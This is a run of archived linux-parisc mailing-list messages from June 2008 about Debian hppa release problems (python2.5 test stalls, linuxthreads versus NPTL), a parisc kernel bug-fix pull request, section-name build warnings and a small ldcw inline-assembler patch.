	4mNroDSc0wTNy+j0JX91761YcoH2vl5qSmwSF7vdaqDlBW+JH7iOJsU5pKoQr5oHsdC
	e+JwAHSeD5F6Tqcz+lhIWlYOehxeTMiMTsFdmUuGX9+eVNI/ZVh4xdFy2RL24mYDPY0
	=
In-Reply-To: <484EF5D7.5000209@gmx.de>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:390 gmane.linux.debian.ports.hppa:5315 gmane.linux.debian.devel.release:21109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/390>

On Tue, 2008-06-10 at 23:44 +0200, Helge Deller wrote:
> CC'ed: parisc-linux kernel development list
> 
> Andreas Barth wrote:
> > during the upload of python2.5, the build failed on hppa due to stalls
> > in the test suite, see http://bugs.debian.org/483042 and
> > http://buildd.debian.org/fetch.cgi?&pkg=python2.5&ver=2.5.2-5&arch=hppa&stamp=1211583145&file=log
> > (Matthias "fixed" that bug by disabling the testsuite, not something that makes
> > us happy.)
> > 
> > After that happened, we asked on #parisc if someone could take a look,
> > and we were told that linuxthreads is currently unmaintained for hppa,
> > and the issue could only be fixed by moving to nptl and we need to do an
> > (incompatible) abi change in glibc. Such a change would be really
> > unfortunate, and we hope that every other roads have been evaluated
> > first (like trying to understand why python on linuxthreads fails on
> > hppa but not on e.g. kfreebsd). We also would like to be sure that ntpl
> > is really better than linuxthreads for python2.5 before a transition.
> 
> My personal feeling is, that a switch to NPTL is probably the best 
> solution. Even if this involves a abi change.
> Maybe experts on NPTL could comment here?

Well ... we asked for a switch to NPTL over a year ago, raising the ABI
change issue (and requesting glibc6.1 or something similar).  At that
time there was a resounding lack of interest from Debian.  Ordinary
release logic does say that you shouldn't rev an ABI just before a
release.  However debian release logic seems to require some type of
crisis before we can get nptl in, so if this is it ...

> > In addition to the python2.5 issue, there are two other issues that are
> > quite concerning:
> >   * a problem with ruby1.9 which likely is kernel related #478717.
> 
> Hmm..

Actually, I can't reproduce this on ion, which is my debian testing
build box.  The only difference from a normal testing system is that
it's running 2.6.26-rc1 (it's also a pa8800 which makes its coherency a
bit more stringent).  Building python 2.5.2-6 and running all the built
in tests except the two parisc exceptions runs.  Ryan Murray stated that
the failing test was test_sys, so this is what I get running it alone:

jejb@ion> pwd
/home/jejb/sources/python2.5-2.5.2/build-shared
jejb@ion> ./python  -E -tt ../Lib/test/regrtest.py -w -l -uall -s
test_sys
test_sys
1 test OK.

So I think more investigation of the actual alleged failure is
warranted.  At this time, if it is a real failure, I'm not sure it's
necessarily threads related.

> >   * dirmngr that segfaults, likely because of some signalstack issues
> >     #459567.
> 
> Yes, we need to implement makecontext()/getcontext() in glibc.
> 
> > We've seen no porter activity on those bugs yet.
> 
> I'd volunteer to try on thedirmngr/makecontext() issue. (At least as far 
> as my time permits).
> 
> > On further discussing that within the release team, we noticed that the
> > Qualification page on http://wiki.debian.org/hppaLennyReleaseRecertification
> > is not really complete, e.g. it says:
> > | The installer is being maintained by ... and it's currently working
> > | effectively. Successful installation reports are available at: ...
> > 
> > It would really be great (read: it is necessary) that the Qualification
> > Page is filled with the missing information, and that we actually have
> > enough porters for hppa.
> 
> I've added myself there in a few items.
> I'd be willing to look into issues with the installer, but not being a 
> active debian developer I'd need help from a debian guy if necessary.
> 
> > So, with respect to the python2.5 issue, what now?
> > 
> > 
> > At the technical side, best of course would be if linuxthreads would
> > continue to work at least enough for lenny, this was the case for a few
> > years already, it should be able to survive a few months more, and
> > python2.5 can build with the test-suite on hppa.  Of course not breaking
> > the API during a linuxthreads -> NPTL switch would be even better.
> 
> I can't comment on that.

I'll see if I can fix it whatever it is, but right now I need a
reproducible test case.  It looks like the current failure might be tied
to whatever the buildd system was doing or some weird installation
dependency it happens to have that I don't.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pierre Habouzit <madcoder@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: hppa release status
Date: Fri, 13 Jun 2008 10:44:10 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <20080613084410.GB12988@artemis.madism.org>
References: <20080608194617.GT10194@mails.so.argh.org> <484EF5D7.5000209@gmx.de> <1213285147.3426.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="5I6of5zJg18YgZEa";
	protocol="application/pgp-signature"; micalg=SHA1
X-Trace: ger.gmane.org 1213346665 26721 80.91.229.12 (13 Jun 2008 08:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Jun 2008 08:44:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Andreas Barth <aba@not.so.argh.org>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 13 10:45:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K74u9-0006Ay-AO
	for glpp-linux-parisc@gmane.org; Fri, 13 Jun 2008 10:45:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754535AbYFMIoP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Jun 2008 04:44:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754660AbYFMIoP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Jun 2008 04:44:15 -0400
Original-Received: from pan.madism.org ([88.191.52.104]:41377 "EHLO hermes.madism.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754535AbYFMIoN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Jun 2008 04:44:13 -0400
Original-Received: from madism.org (APuteaux-103-1-3-109.w217-128.abo.wanadoo.fr [217.128.49.109])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "artemis.madism.org", Issuer "madism.org" (verified OK))
	by hermes.madism.org (Postfix) with ESMTPS id 936E33566B;
	Fri, 13 Jun 2008 10:44:11 +0200 (CEST)
Original-Received: by madism.org (Postfix, from userid 1000)
	id 2246A1471C8; Fri, 13 Jun 2008 10:44:10 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, Andreas Barth <aba@not.so.argh.org>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <1213285147.3426.23.camel@localhost.localdomain>
X-Face: $(^e[V4D-[`f2EmMGz@fgWK!e.B~2g.{08lKPU(nc1J~z\4B>*JEVq:E]7G-\6$Ycr4<;Z!|VY6Grt]+RsS$IMV)f>2)M="tY:ZPcU;&%it2D81X^kNya0=L]"vZmLP+UmKhgq+u*\.dJ8G!N&=EvlD
User-Agent: Madmutt/devel (Linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:391 gmane.linux.debian.ports.hppa:5318 gmane.linux.debian.devel.release:21118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/391>


--5I6of5zJg18YgZEa
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

<answer with my glibc hat on>

On Thu, Jun 12, 2008 at 03:39:07PM +0000, James Bottomley wrote:
> On Tue, 2008-06-10 at 23:44 +0200, Helge Deller wrote:
> > My personal feeling is, that a switch to NPTL is probably the best=20
> > solution. Even if this involves a abi change.
> > Maybe experts on NPTL could comment here?
>=20
> Well ... we asked for a switch to NPTL over a year ago, raising the ABI
> change issue (and requesting glibc6.1 or something similar).  At that
> time there was a resounding lack of interest from Debian.  Ordinary
> release logic does say that you shouldn't rev an ABI just before a
> release.  However debian release logic seems to require some type of
> crisis before we can get nptl in, so if this is it ...

  This is totally unfair, at the time Carlos said that it was probable
that the ABI bump wasn't necessary but that he needed some time to
figure it out and. I've seen absolutely no hard push for NPTL at the
time, and except python2.5 (and again it's still remain to be proven
it's LT related) we've seen no issue on hppa with linuxthreads so far.
So I remain convinced that it's better to see if the ABI bump can be
avoided or not, and if it can't, we can do it in lenny+1 OK.

> Actually, I can't reproduce this on ion, which is my debian testing
> build box.  The only difference from a normal testing system is that
> it's running 2.6.26-rc1 (it's also a pa8800 which makes its coherency a
> bit more stringent).  Building python 2.5.2-6 and running all the built
> in tests except the two parisc exceptions runs.  Ryan Murray stated that
> the failing test was test_sys, so this is what I get running it alone:
>=20
> jejb@ion> pwd
> /home/jejb/sources/python2.5-2.5.2/build-shared
> jejb@ion> ./python  -E -tt ../Lib/test/regrtest.py -w -l -uall -s
> test_sys
> test_sys
> 1 test OK.
>=20
> So I think more investigation of the actual alleged failure is
> warranted.  At this time, if it is a real failure, I'm not sure it's
> necessarily threads related.

  This is really coherent with our observations: LT is almost pure C,
and kfreebsd uses LT and python works really well. So either it's a bug
in the LT hppa specific code, or a kernel issue. Your tests tends to
show the latter.

> > > So, with respect to the python2.5 issue, what now?
> > >
> > > At the technical side, best of course would be if linuxthreads would
> > > continue to work at least enough for lenny, this was the case for a f=
ew
> > > years already, it should be able to survive a few months more, and
> > > python2.5 can build with the test-suite on hppa.  Of course not break=
ing
> > > the API during a linuxthreads -> NPTL switch would be even better.
> >=20
> > I can't comment on that.
>=20
> I'll see if I can fix it whatever it is, but right now I need a
> reproducible test case.  It looks like the current failure might be tied
> to whatever the buildd system was doing or some weird installation
> dependency it happens to have that I don't.


--=20
=C2=B7O=C2=B7  Pierre Habouzit
=C2=B7=C2=B7O                                                madcoder@debia=
n.org
OOO                                                http://www.madism.org

--5I6of5zJg18YgZEa
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEABECAAYFAkhSM1oACgkQvGr7W6Hudhyj9ACfaJNcHKhoAr8uUQ0AbcEPeNKV
6g4An3d55XCdv9jd4vxNg+P3Z/tWbcF4
=ERYD
-----END PGP SIGNATURE-----

--5I6of5zJg18YgZEa--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thiemo Seufer <ths@networkno.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa release status
Date: Fri, 13 Jun 2008 10:48:09 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20080613094809.GA17481__31493.464872665$1213352453$gmane$org@networkno.de>
References: <20080608194617.GT10194@mails.so.argh.org> <484EF5D7.5000209@gmx.de> <1213285147.3426.23.camel@localhost.localdomain> <20080613084410.GB12988@artemis.madism.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213352403 13477 80.91.229.12 (13 Jun 2008 10:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Jun 2008 10:20:03 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Andreas Barth <aba@not.so.argh.org>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.o
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 13 12:20:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K76Ob-0005Im-UU
	for glpp-linux-parisc@gmane.org; Fri, 13 Jun 2008 12:20:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756181AbYFMKTr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Jun 2008 06:19:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756250AbYFMKTr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Jun 2008 06:19:47 -0400
Original-Received: from relay01.mx.bawue.net ([193.7.176.67]:41834 "EHLO
	relay01.mx.bawue.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755675AbYFMKTq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Jun 2008 06:19:46 -0400
X-Greylist: delayed 1893 seconds by postgrey-1.27 at vger.kernel.org; Fri, 13 Jun 2008 06:19:46 EDT
Original-Received: from lagash (88-106-136-149.dynamic.dsl.as9105.com [88.106.136.149])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by relay01.mx.bawue.net (Postfix) with ESMTP id 9C7C048917;
	Fri, 13 Jun 2008 11:48:10 +0200 (CEST)
Original-Received: from ths by lagash with local (Exim 4.69)
	(envelope-from <ths@networkno.de>)
	id 1K75tB-0004Po-Bw; Fri, 13 Jun 2008 10:48:09 +0100
Content-Disposition: inline
In-Reply-To: <20080613084410.GB12988@artemis.madism.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/392>

Pierre Habouzit wrote:
[snip]
> > Actually, I can't reproduce this on ion, which is my debian testing
> > build box.  The only difference from a normal testing system is that
> > it's running 2.6.26-rc1 (it's also a pa8800 which makes its coherency a
> > bit more stringent).  Building python 2.5.2-6 and running all the built
> > in tests except the two parisc exceptions runs.  Ryan Murray stated that
> > the failing test was test_sys, so this is what I get running it alone:
> > 
> > jejb@ion> pwd
> > /home/jejb/sources/python2.5-2.5.2/build-shared
> > jejb@ion> ./python  -E -tt ../Lib/test/regrtest.py -w -l -uall -s
> > test_sys
> > test_sys
> > 1 test OK.
> > 
> > So I think more investigation of the actual alleged failure is
> > warranted.  At this time, if it is a real failure, I'm not sure it's
> > necessarily threads related.
> 
>   This is really coherent with our observations: LT is almost pure C,
> and kfreebsd uses LT and python works really well. So either it's a bug
> in the LT hppa specific code, or a kernel issue. Your tests tends to
> show the latter.

I recall a similiar failure on mips/mipsel went away after upgrading the
buildd kernels to 2.6.24+. (I have no idea what version the hppa buildds
use.)


Thiemo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc bug fixes for 2.6.26
Date: Fri, 13 Jun 2008 16:32:25 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20080613163225.GA11701@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213374790 29912 80.91.229.12 (13 Jun 2008 16:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Jun 2008 16:33:10 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 13 18:33:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7CDm-0000sc-9g
	for glpp-linux-parisc@gmane.org; Fri, 13 Jun 2008 18:33:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757467AbYFMQdA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Jun 2008 12:33:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757463AbYFMQdA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Jun 2008 12:33:00 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:51557 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757395AbYFMQc7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Jun 2008 12:32:59 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18innCiADcfbg8WWBGn1AkoGBAZAdIMI7E@localhost [127.0.0.1])
	by hera.kernel.org (8.13.8/8.13.8) with ESMTP id m5DGWPhP011858
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 13 Jun 2008 16:32:25 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.13.8/8.13.1/Submit) id m5DGWPiM011857;
	Fri, 13 Jun 2008 16:32:25 GMT
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
X-Spam-Status: No, score=-3.2 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0rc1 (hera.kernel.org [127.0.0.1]); Fri, 13 Jun 2008 16:32:26 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:393 gmane.linux.kernel:693755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/393>

Purely bugfixes (and a reversion of the section name patch since it broke
on a pile of machines.)

cheers, Kyle

The following changes since commit 5dd34572ad9a3be430632dd42e4af2ea370b397b:
  Linus Torvalds (1):
        Linux 2.6.26-rc6

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Kyle McMartin (7):
      Revert "parisc: fix trivial section name warnings"
      parisc: move head.S to head.text section
      parisc: export copy_user_page_asm
      parisc: export empty_zero_page
      parisc: fix off by one in setup_sigcontext32
      parisc: fix miscompilation of ip_fast_csum with gcc >= 4.3
      parisc: update my email address

 MAINTAINERS                       |    8 ++++----
 arch/parisc/hpux/gate.S           |    3 +--
 arch/parisc/hpux/wrappers.S       |    3 +--
 arch/parisc/kernel/entry.S        |    3 +--
 arch/parisc/kernel/head.S         |    1 +
 arch/parisc/kernel/hpmc.S         |    3 +--
 arch/parisc/kernel/pacache.S      |    3 +--
 arch/parisc/kernel/parisc_ksyms.c |    3 +++
 arch/parisc/kernel/perf_asm.S     |    2 +-
 arch/parisc/kernel/real2.S        |   13 ++++++-------
 arch/parisc/kernel/signal32.c     |    4 ++--
 arch/parisc/kernel/syscall.S      |    5 ++---
 arch/parisc/kernel/vmlinux.lds.S  |    1 +
 arch/parisc/lib/fixup.S           |    3 +--
 arch/parisc/lib/lusercopy.S       |    5 ++---
 arch/parisc/mm/init.c             |    1 +
 include/asm-parisc/checksum.h     |    2 +-
 17 files changed, 30 insertions(+), 33 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: sections warnings back again
Date: Sat, 14 Jun 2008 17:15:46 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <4853E0A2.3010608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213456560 31541 80.91.229.12 (14 Jun 2008 15:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Jun 2008 15:16:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 14 17:16:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7XUg-0006TM-2W
	for glpp-linux-parisc@gmane.org; Sat, 14 Jun 2008 17:16:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751702AbYFNPPv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Jun 2008 11:15:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751718AbYFNPPv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Jun 2008 11:15:51 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53750 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751543AbYFNPPu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Jun 2008 11:15:50 -0400
Original-Received: (qmail invoked by alias); 14 Jun 2008 15:15:48 -0000
Original-Received: from mnhm-590e0f5b.pool.einsundeins.de (EHLO halden.box) [89.14.15.91]
  by mail.gmx.net (mp050) with SMTP; 14 Jun 2008 17:15:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19etwxQ02teE/zeKzx43duiG4v1UKCvZTSkKVRQLm
	hHwLNZPyXvTMk1
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/394>

Hi Kyle,

your commits:

commit 1138a72cd96857d1d5928c0c8c83d8b8995eeb38
Author: Kyle McMartin <kyle@minerva.i.cabal.ca>
Date:   Thu May 22 14:38:26 2008 -0400

     parisc: move head.S to head.text section

     And explicitly list it in vmlinux.lds...

     Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit dfcf753bd3fb09f336659d07b1c48db7e62772e0
Author: Kyle McMartin <kyle@minerva.i.cabal.ca>
Date:   Thu May 22 14:36:31 2008 -0400

     Revert "parisc: fix trivial section name warnings"

     This reverts commit bd3bb8c15b9a80dbddfb7905b237a4a11a4725b4.

     Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>


re-introduced some section warnings again.
It seems we need a few more...

...
   LD      vmlinux.o
   MODPOST vmlinux.o
WARNING: vmlinux.o (.text.1): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.2): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.7): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.8): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.16): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.17): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

   GEN     .version
   CHK     include/linux/compile.h
   UPD     include/linux/compile.h
...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: ldcw inline assembler patch
Date: Sat, 14 Jun 2008 17:36:39 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <4853E587.9020802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213457811 2259 80.91.229.12 (14 Jun 2008 15:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Jun 2008 15:36:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 14 17:37:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7Xop-0004MB-CU
	for glpp-linux-parisc@gmane.org; Sat, 14 Jun 2008 17:37:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751833AbYFNPgk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Jun 2008 11:36:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752675AbYFNPgk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Jun 2008 11:36:40 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51357 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751833AbYFNPgk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Jun 2008 11:36:40 -0400
Original-Received: (qmail invoked by alias); 14 Jun 2008 15:36:38 -0000
Original-Received: from mnhm-590e0f5b.pool.einsundeins.de (EHLO halden.box) [89.14.15.91]
  by mail.gmx.net (mp008) with SMTP; 14 Jun 2008 17:36:38 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19RjbR0nddReY8v5YQVG+Pkv/9lpginKJ9SEXw1Du
	ZsaW+t3nGeBG4o
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/395>

I'm wondering if this patch might help people who are seeing locking 
problems on SMP boxes ?
Helge

diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
index ee80c92..4752684 100644
--- a/include/asm-parisc/system.h
+++ b/include/asm-parisc/system.h
@@ -168,8 +168,9 @@ static inline void set_eiem(unsigned long val)
  /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
  #define __ldcw(a) ({						\
  	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-		: "=r" (__ret) : "r" (a));			\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+			: "=r" (__ret), "=m" (*(a))		\
+			: "r" (a), "m" (*(a))	);		\
  	__ret;							\
  })

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: in ccio_io_pdir_entry(), BUG_ON() seems to break gcc-4.2 optimization?
Date: Sun, 15 Jun 2008 12:37:25 +0000
Lines: 125
Approved: news@gmane.org
